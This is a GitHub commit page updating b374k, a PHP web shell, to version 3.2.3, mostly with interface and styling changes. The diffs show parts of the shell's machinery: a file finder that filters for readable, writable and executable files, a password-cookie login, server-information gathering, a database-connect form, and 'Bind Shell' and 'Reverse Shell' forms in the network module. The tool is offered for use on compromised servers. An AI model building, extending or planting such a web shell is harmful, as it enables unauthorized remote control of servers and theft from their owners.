Skip to content

Commit

Permalink
Updated to v3.2.3
Browse files Browse the repository at this point in the history 
Minor UI changes
  • Loading branch information
@b374k
b374k committed Jul 1, 2014
1 parent 0049ed0 commit aca4786
Show file tree
Hide file tree
Showing 18 changed files with 187 additions and 126 deletions.
4 changes: 2 additions & 2 deletions b374k.min.php
View file

Large diffs are not rendered by default.

Binary file modified b374k.min.php.zip
View file
Binary file not shown.
126 changes: 83 additions & 43 deletions b374k.php
View file

Large diffs are not rendered by default.

Binary file modified b374k.php.zip
View file
Binary file not shown.
14 changes: 8 additions & 6 deletions base/base.js
View file
Original file line number Diff line number Diff line change
Expand Up @@ -156,8 +156,8 @@ function delete_go(){
}

function find(path){
findfile = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find File</p></th></tr></thead><tbody><tr><td style='width:140px'>Search in</td><td><input type='text' class='findfilePath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td style='border-bottom:none;'>Filename contains</td><td style='border-bottom:none;'><input type='text' class='findfileFilename' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileFilenameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileFilenameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td style='border-bottom:none;'>File contains</td><td style='border-bottom:none;'><input type='text' class='findfileContains' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileContainsRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileContainsInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findfileWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findfileReadable'></span><span class='floatLeft'>Readable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_file();\">find</span></td></tr><tr><td colspan='2' class='findfileResult'></td></tr></tfoot></table>";
findfolder = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find Folder</p></th></tr></thead><tbody><tr><td style='width:140px'>Search in</td><td><input type='text' class='findFolderPath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td style='border-bottom:none;'>Foldername contains</td><td style='border-bottom:none;'><input type='text' class='findFoldername' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td></td><td><span class='cBox findFoldernameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;&nbsp;<span class='cBox findFoldernameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findReadable'></span><span class='floatLeft'>Readable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_folder();\">find</span></td></tr><tr><td colspan='2' class='findResult'></td></tr></tfoot></table>";
findfile = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find File</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findfilePath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td style='border-bottom:none;'>Filename contains</td><td style='border-bottom:none;'><input type='text' class='findfileFilename' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileFilenameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileFilenameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td style='border-bottom:none;'>File contains</td><td style='border-bottom:none;'><input type='text' class='findfileContains' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileContainsRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileContainsInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findfileReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findfileWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findfileExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_file();\">find</span></td></tr><tr><td colspan='2' class='findfileResult'></td></tr></tfoot></table>";
findfolder = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find Folder</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findFolderPath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td style='border-bottom:none;'>Foldername contains</td><td style='border-bottom:none;'><input type='text' class='findFoldername' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td></td><td><span class='cBox findFoldernameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;&nbsp;<span class='cBox findFoldernameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_folder();\">find</span></td></tr><tr><td colspan='2' class='findResult'></td></tr></tfoot></table>";
$('#explorer').html("<div id='xplUpload'>" +findfile+'<br>'+findfolder+'</div>');
cbox_bind('xplUpload');
}
Expand All @@ -182,8 +182,9 @@ function find_go(findType){
findContentRegex = (findType=='file')? $('.findfileContainsRegex').hasClass('cBoxSelected').toString():"";
findContentInsensitive = (findType=='file')? $('.findfileContainsInsensitive').hasClass('cBoxSelected').toString():"";

findWritable = (findType=='file')? $('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString();
findReadable = (findType=='file')? $('.findfileReadable').hasClass('cBoxSelected').toString():$('.findWritable').hasClass('cBoxSelected').toString();
findWritable = (findType=='file')? $('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString();
findExecutable = (findType=='file')? $('.findfileExecutable').hasClass('cBoxSelected').toString():$('.findExecutable').hasClass('cBoxSelected').toString();

send_post(
{
Expand All @@ -195,8 +196,9 @@ function find_go(findType){
findContent:findContent,
findContentRegex:findContentRegex,
findContentInsensitive:findContentInsensitive,
findReadable:findReadable,
findWritable:findWritable,
findReadable:findReadable
findExecutable:findExecutable
},
function(res){
if(res!='error'){
Expand Down Expand Up @@ -268,12 +270,12 @@ function ul(path){

function ul_add_comp(path){
path = html_safe($('.ul_path').val());
$('.ulcompadd').append("<tr><td style='width:130px'>File</td><td><input type='file' class='ulFileComp'></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToComp' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameComp' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr>");
$('.ulcompadd').append("<tr><td style='width:144px'>File</td><td><input type='file' class='ulFileComp'></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToComp' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameComp' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr>");
}

function ul_add_url(path){
path = html_safe($('.ul_path').val());
$('.ulurladd').append("<tr><td style='width:130px'>File URL</td><td><input type='text' class='ulFileUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToUrl' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr>");
$('.ulurladd').append("<tr><td style='width:144px'>File URL</td><td><input type='text' class='ulFileUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToUrl' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr>");
}

function ul_start(formData, ulType, i){
Expand Down
12 changes: 8 additions & 4 deletions base/base.php
View file
Original file line number Diff line number Diff line change
Expand Up @@ -60,7 +60,7 @@
</td></tr>
<tr>
<td style='width:120px;'>
<td style='width:144px;'>
<select id='evalType'>
</select>
Expand Down Expand Up @@ -168,8 +168,9 @@
$findContent = trim($p['findContent']);
$findContentRegex = trim($p['findContentRegex']);
$findContentInsensitive = trim($p['findContentInsensitive']);
$findWritable = trim($p['findWritable']);
$findReadable = trim($p['findReadable']);
$findWritable = trim($p['findWritable']);
$findExecutable = trim($p['findExecutable']);

$candidate = get_all_files($findPath);
if($findType=='file') $candidate = array_filter($candidate, "is_file");
Expand Down Expand Up @@ -226,11 +227,14 @@
}

foreach($candidate as $k){
if($findReadable=="true"){
if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
}
if($findWritable=="true"){
if(!is_writable($k)) $candidate = array_diff($candidate, array($k));
}
if($findReadable=="true"){
if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
if($findExecutable=="true"){
if(!is_executable($k)) $candidate = array_diff($candidate, array($k));
}
}

Expand Down
12 changes: 9 additions & 3 deletions base/layout.php
View file
Original file line number Diff line number Diff line change
Expand Up @@ -17,9 +17,13 @@
<style type="text/css">
<__CSS__>
#navigation{position:fixed;left:-16px;top:46%;}
#totop,#tobottom{background:url('<?php echo get_resource('arrow');?>');width:32px;height:32px;opacity:0.30;margin:18px 0;}
#totop,#tobottom,#toggleBasicInfo{background:url('<?php echo get_resource('arrow');?>');width:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}
#totop:hover,#tobottom:hover{opacity:0.80;}
#toggleBasicInfo{display:none;float:right;margin:0;}
#basicInfoSplitter{display:none;}
#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}
#showinfo{float:right;display:none;}
#logout{float:right;}
</style>
</head>
<body>
Expand All @@ -30,9 +34,10 @@
<!--header info start-->
<div id='headerNav'>
<span><a onclick="set_cookie('cwd', '');" href='<?php echo get_self(); ?>'><?php echo $GLOBALS['title']." ".$GLOBALS['ver']?></a></span>
<img onclick='viewfileorfolder();' id='b374k' src='<?php echo get_resource('b374k');?>' /><span id='nav'>&nbsp;<?php echo $nav; ?></span>
<img onclick='viewfileorfolder();' id='b374k' src='<?php echo get_resource('b374k');?>' />&nbsp;<span id='nav'><?php echo $nav; ?></span>

<a id='logout'>log out</a>
<a class='boxclose' id='logout' title='log out'>x</a>
<a class='boxclose' id='showinfo' title='show info'>v</a>
</div>
<!--header info end-->

Expand All @@ -53,6 +58,7 @@
<div id='content'>
<!--server info start-->
<div id='basicInfo'>
<div id='toggleBasicInfo'></div>
<?php
echo $error_html;
foreach(get_server_info() as $k=>$v){
Expand Down
43 changes: 40 additions & 3 deletions base/main.js
View file
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,7 @@ Zepto(function($){
show_tab();
xpl_bind();
eval_init();

window_resize();

xpl_update_status();
Expand All @@ -50,7 +51,7 @@ Zepto(function($){
var cookie = document.cookie.split(';');
for(var i=0; i<cookie.length; i++){
var entries = cookie[i], entry = entries.split("="), name = entry[0];
document.cookie = name + '=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';
document.cookie = name + "=''; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/";
}
localStorage.clear();
location.href = targeturl;
Expand Down Expand Up @@ -80,6 +81,38 @@ Zepto(function($){
onScroll = false;
scrollCounter = 0;
});
$('#basicInfo').on('mouseenter', function(e){
$('#toggleBasicInfo').show();
});
$('#basicInfo').on('mouseleave', function(e){
$('#toggleBasicInfo').hide();
});
$('#toggleBasicInfo').on('click', function(e){
$('#basicInfo').hide();
$('#showinfo').show();
$('#toggleBasicInfo').hide();
localStorage.setItem('infoBarShown', 'hidden');
});
$('#showinfo').on('click', function(e){
$('#basicInfo').show();
$('#showinfo').hide();
localStorage.setItem('infoBarShown', 'shown');
});

if((infoBarShown = localStorage.getItem('infoBarShown'))){
if(infoBarShown=='shown'){
$('#basicInfo').show();
$('#showinfo').hide();
}
else{
$('#basicInfo').hide();
$('#showinfo').show();
$('#toggleBasicInfo').hide();
}
}
else{
info_refresh();
}

if(history.pushState){
window.onpopstate = function(event) { refresh_tab(); };
Expand Down Expand Up @@ -112,8 +145,10 @@ function layout_portable(){

//nav.hide();
nav.prependTo('#content');
nav.css('padding-top','5px');
nav.css('padding','5px 8px');
nav.css('margin-top', '8px');
nav.css('display','block');
nav.addClass('border');

menu.children().css('width', '100%');
menu.hide();
Expand Down Expand Up @@ -149,8 +184,10 @@ function layout_normal(){
content = $('#content');

nav.insertAfter('#b374k');
nav.css('padding-top','0px');
nav.css('padding','0');
nav.css('margin-top', '0');
nav.css('display','inline');
nav.removeClass('border');

menu.children().css('width', 'auto');
menu.show();
Expand Down
19 changes: 7 additions & 12 deletions base/main.php
View file
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
<?php
$GLOBALS['ver'] = "3.2.2";
$GLOBALS['ver'] = "3.2.3";
$GLOBALS['title'] = "b374k";

@ob_start();
Expand All @@ -19,17 +19,12 @@ function auth(){
if(isset($p['pass'])){
$your_pass = sha1(md5($p['pass']));
if($your_pass==$GLOBALS['pass']){
setcookie("pass", $your_pass);
$res = "
<script type='text/javascript'>
location.href='".get_self()."';
</script>
";
echo $res;
setcookie("pass", $your_pass, time()+36000, "/");
header("Location: ".get_self());
}
}

if(!isset($c['pass']) || (isset($c['pass'])&&($c['pass']!=$GLOBALS['pass']))){
if(!isset($c['pass']) || ((isset($c['pass'])&&($c['pass']!=$GLOBALS['pass'])))){
$res = "<!doctype html>
<html>
<head>
Expand All @@ -55,12 +50,12 @@ function auth(){

if(!function_exists('get_server_info')){
function get_server_info(){
$server_info['uname'] = php_uname();
$server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." <span class='strong'>|</span> ":'';
$server_info['software'] = $server_software." PHP ".phpversion();
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"];
$server_info['ip_adrress'] = "Server IP : ".$server_addr." <span class='strong'>|</span> Your IP : ".$_SERVER['REMOTE_ADDR'];
$server_info['time_at_server'] = "Time <span class='strong'>@</span> Server : ".@date("d M Y H:i:s",time());
$server_info['uname'] = php_uname();
$server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." <span class='strong'>|</span> ":'';
$server_info['software'] = $server_software." PHP ".phpversion();
return $server_info;
}
}
Expand Down
2 changes: 1 addition & 1 deletion index.php
View file
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@
*/
$GLOBALS['packer']['title'] = "b374k shell packer";
$GLOBALS['packer']['version'] = "0.4.1";
$GLOBALS['packer']['version'] = "0.4.2";
$GLOBALS['packer']['base_dir'] = "./base/";
$GLOBALS['packer']['module_dir'] = "./module/";
$GLOBALS['packer']['theme_dir'] = "./theme/";
Expand Down
4 changes: 2 additions & 2 deletions module/database.php
View file
Original file line number Diff line number Diff line change
Expand Up @@ -8,14 +8,14 @@
<tr><th colspan='3'><p class='boxtitle'>Connect</p></th></tr>
</thead>
<tbody>
<tr class='dbHostRow'><td style='width:120px' class='dbHostLbl'>Host</td><td colspan='2'><input type='text' id='dbHost' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
<tr class='dbHostRow'><td style='width:144px' class='dbHostLbl'>Host</td><td colspan='2'><input type='text' id='dbHost' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
<tr class='dbUserRow'><td>Username</td><td colspan='2'><input type='text' id='dbUser' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
<tr class='dbPassRow'><td>Password</td><td colspan='2'><input type='text' id='dbPass' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
<tr class='dbPortRow'><td>Port (Optional)</td><td colspan='2'><input type='text' id='dbPort' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
</tbody>
<tfoot>
<tr class='dbConnectRow'>
<td style='width:120px;'>
<td style='width:144px;'>
<select id='dbType'>
</select>
</td>
Expand Down
8 changes: 4 additions & 4 deletions module/network.php
View file
Original file line number Diff line number Diff line change
Expand Up @@ -22,12 +22,12 @@
<tr><th colspan='2'><p class='boxtitle'>Bind Shell</p></th></tr>
</thead>
<tbody>
<tr><td style='width:120px'>Server IP</td><td><input type='text' id='bindAddr' value='".$server_addr."' disabled></td></tr>
<tr><td style='width:144px'>Server IP</td><td><input type='text' id='bindAddr' value='".$server_addr."' disabled></td></tr>
<tr><td>Port</td><td><input type='text' id='bindPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_bind');\"></td></tr>
</tbody>
<tfoot>
<tr>
<td style='width:120px;'>
<td style='width:144px;'>
<select id='bindLang' class='rsType'>
".$winbinary."
</select>
Expand All @@ -43,12 +43,12 @@
<tr><th colspan='2'><p class='boxtitle'>Reverse Shell</p></th></tr>
</thead>
<tbody>
<tr><td style='width:120px'>Target IP</td><td><input type='text' id='backAddr' value='".$remote_addr."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
<tr><td style='width:144px'>Target IP</td><td><input type='text' id='backAddr' value='".$remote_addr."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
<tr><td>Port</td><td><input type='text' id='backPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
</tbody>
<tfoot>
<tr>
<td style='width:120px;'>
<td style='width:144px;'>
<select id='backLang' class='rsType'>
".$winbinary."
</select>
Expand Down
12 changes: 4 additions & 8 deletions theme/bluebook.css
View file
Original file line number Diff line number Diff line change
Expand Up @@ -136,10 +136,6 @@ pre{
display:none;
padding:8px;
}
#logout{
float:right;
padding:0 8px 0 0;
}
#overlay{
position:fixed;
top:0px;
Expand Down Expand Up @@ -217,11 +213,11 @@ pre{
padding-bottom:8px;
}
.boxclose{
background:#d8deea;
color:#3b5998;
padding:2px;
border:1px solid #8C98B4;
border-radius:3px;
margin-right:8px;
padding:1px 6px;
margin-top:-2px;
padding:2px 8px;
cursor:pointer;
}
.strong{
Expand Down
14 changes: 5 additions & 9 deletions theme/bright.css
View file

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

10 changes: 3 additions & 7 deletions theme/bterm.css
View file
Original file line number Diff line number Diff line change
Expand Up @@ -135,10 +135,6 @@ pre{
display:none;
padding:8px;
}
#logout{
float:right;
padding:0 8px 0 0;
}
#overlay{
position:fixed;
top:0px;
Expand Down Expand Up @@ -215,10 +211,10 @@ pre{
}
.boxclose{
background:#222222;
color:#ffffff;
padding:2px;
border-radius:3px;
margin-right:8px;
padding:1px 6px;
margin-top:-2px;
padding:2px 8px;
cursor:pointer;
}
.strong{
Expand Down
Loading

0 comments on commit aca4786

Please sign in to comment.